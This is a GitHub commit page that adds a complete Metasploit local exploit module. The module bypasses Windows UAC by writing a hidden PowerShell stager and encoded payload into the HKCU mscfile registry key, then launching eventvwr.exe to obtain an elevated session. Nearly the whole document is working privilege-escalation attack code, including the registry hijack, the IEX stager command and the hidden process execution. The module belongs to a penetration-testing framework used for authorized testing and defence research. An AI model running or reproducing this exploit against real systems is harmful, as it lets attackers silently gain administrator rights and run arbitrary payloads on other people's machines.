Skip to content

Commit 174cd74

Browse files
committed
Land rapid7#7532, Add bypass UAC local exploit via Event Viewer module
2 parents 54684d3 + 1e9d80c commit 174cd74

File tree

1 file changed

+200
-0
lines changed

1 file changed

+200
-0
lines changed
Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/exe'
8+
require 'msf/core/exploit/powershell'
9+
10+
class MetasploitModule < Msf::Exploit::Local
11+
Rank = ExcellentRanking
12+
13+
include Exploit::Powershell
14+
include Post::Windows::Priv
15+
include Post::Windows::Registry
16+
include Post::Windows::Runas
17+
18+
EVENTVWR_DEL_KEY = "HKCU\\Software\\Classes\\mscfile"
19+
EVENTVWR_WRITE_KEY = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command"
20+
EXEC_REG_VAL = '' # This maps to "(Default)"
21+
EXEC_REG_VAL_TYPE = 'REG_SZ'
22+
EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe"
23+
PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
24+
CMD_MAX_LEN = 2081
25+
26+
def initialize(info={})
27+
super(update_info(info,
28+
'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)',
29+
'Description' => %q{
30+
This module will bypass Windows UAC by hijacking a special key in the Registry under
31+
the current user hive, and inserting a custom command that will get invoked when
32+
the Windows Event Viewer is launched. It will spawn a second shell that has the UAC
33+
flag turned off.
34+
35+
This module modifies a registry key, but cleans up the key once the payload has
36+
been invoked.
37+
38+
The module does not require the architecture of the payload to match the OS. If
39+
specifying EXE::Custom your DLL should call ExitProcess() after starting your
40+
payload in a separate process.
41+
},
42+
'License' => MSF_LICENSE,
43+
'Author' => [
44+
'Matt Nelson', # UAC bypass discovery and research
45+
'Matt Graeber', # UAC bypass discovery and research
46+
'OJ Reeves' # MSF module
47+
],
48+
'Platform' => ['win'],
49+
'SessionTypes' => ['meterpreter'],
50+
'Targets' => [
51+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
52+
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
53+
],
54+
'DefaultTarget' => 0,
55+
'References' => [
56+
[
57+
'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/',
58+
'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1'
59+
]
60+
],
61+
'DisclosureDate'=> 'Aug 15 2016'
62+
))
63+
end
64+
65+
def check
66+
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
67+
Exploit::CheckCode::Appears
68+
else
69+
Exploit::CheckCode::Safe
70+
end
71+
end
72+
73+
def exploit
74+
commspec = '%COMSPEC%'
75+
registry_view = REGISTRY_VIEW_NATIVE
76+
77+
# Make sure we have a sane payload configuration
78+
79+
if sysinfo['Architecture'] == ARCH_X64
80+
# On x64, check arch
81+
if session.arch == ARCH_X86
82+
# running WOW64, map the correct registry view
83+
registry_view = REGISTRY_VIEW_64_BIT
84+
85+
if target_arch.first == ARCH_X64
86+
# we have an x64 payload specified while using WOW64, so we need to
87+
# move over to sysnative
88+
commspec = '%WINDIR%\\Sysnative\\cmd.exe'
89+
else
90+
# Else, we're 32-bit payload, so need to ref wow64.
91+
commspec = '%WINDIR%\\SysWOW64\\cmd.exe'
92+
end
93+
elsif target_arch.first == ARCH_X86
94+
# We're x64, but invoking x86, so switch to SysWOW64
95+
commspec = '%WINDIR%\\SysWOW64\\cmd.exe'
96+
end
97+
else
98+
# if we're on x86, we can't handle x64 payloads
99+
if target_arch.first == ARCH_X64
100+
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
101+
end
102+
end
103+
104+
# Validate that we can actually do things before we bother
105+
# doing any more work
106+
check_permissions!
107+
108+
case get_uac_level
109+
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
110+
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
111+
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
112+
fail_with(Failure::NotVulnerable,
113+
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
114+
)
115+
when UAC_DEFAULT
116+
print_good('UAC is set to Default')
117+
print_good('BypassUAC can bypass this setting, continuing...')
118+
when UAC_NO_PROMPT
119+
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
120+
shell_execute_exe
121+
return
122+
end
123+
124+
payload_value = rand_text_alpha(8)
125+
psh_path = expand_path("#{PSH_PATH}")
126+
127+
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
128+
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
129+
130+
psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
131+
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
132+
133+
existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
134+
135+
if existing.empty?
136+
registry_createkey(EVENTVWR_WRITE_KEY, registry_view)
137+
end
138+
139+
print_status("Configuring payload and stager registry keys ...")
140+
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
141+
registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
142+
143+
# We can't invoke EventVwr.exe directly because CreateProcess fails with the
144+
# dreaded 740 error (Program requires elevation). Instead, we must invoke
145+
# cmd.exe and use that to fire off the binary.
146+
cmd_path = expand_path(commspec)
147+
cmd_args = expand_path("/c #{EVENTVWR_PATH}")
148+
print_status("Executing payload: #{cmd_path} #{cmd_args}")
149+
150+
# We can't use cmd_exec here because it blocks, waiting for a result.
151+
client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true})
152+
153+
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
154+
# TODO: fix this up to use something smarter than a timeout?
155+
Rex::sleep(5)
156+
157+
handler(client)
158+
159+
print_status("Cleaining up registry keys ...")
160+
if existing.empty?
161+
registry_deletekey(EVENTVWR_DEL_KEY, registry_view)
162+
else
163+
registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
164+
registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view)
165+
end
166+
167+
end
168+
169+
def check_permissions!
170+
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
171+
172+
# Check if you are an admin
173+
vprint_status('Checking admin status...')
174+
admin_group = is_in_admin_group?
175+
176+
unless check == Exploit::CheckCode::Appears
177+
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
178+
end
179+
180+
unless is_in_admin_group?
181+
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
182+
end
183+
184+
print_status('UAC is Enabled, checking level...')
185+
if admin_group.nil?
186+
print_error('Either whoami is not there or failed to execute')
187+
print_error('Continuing under assumption you already checked...')
188+
else
189+
if admin_group
190+
print_good('Part of Administrators group! Continuing...')
191+
else
192+
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
193+
end
194+
end
195+
196+
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
197+
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
198+
end
199+
end
200+
end

0 commit comments

Comments
 (0)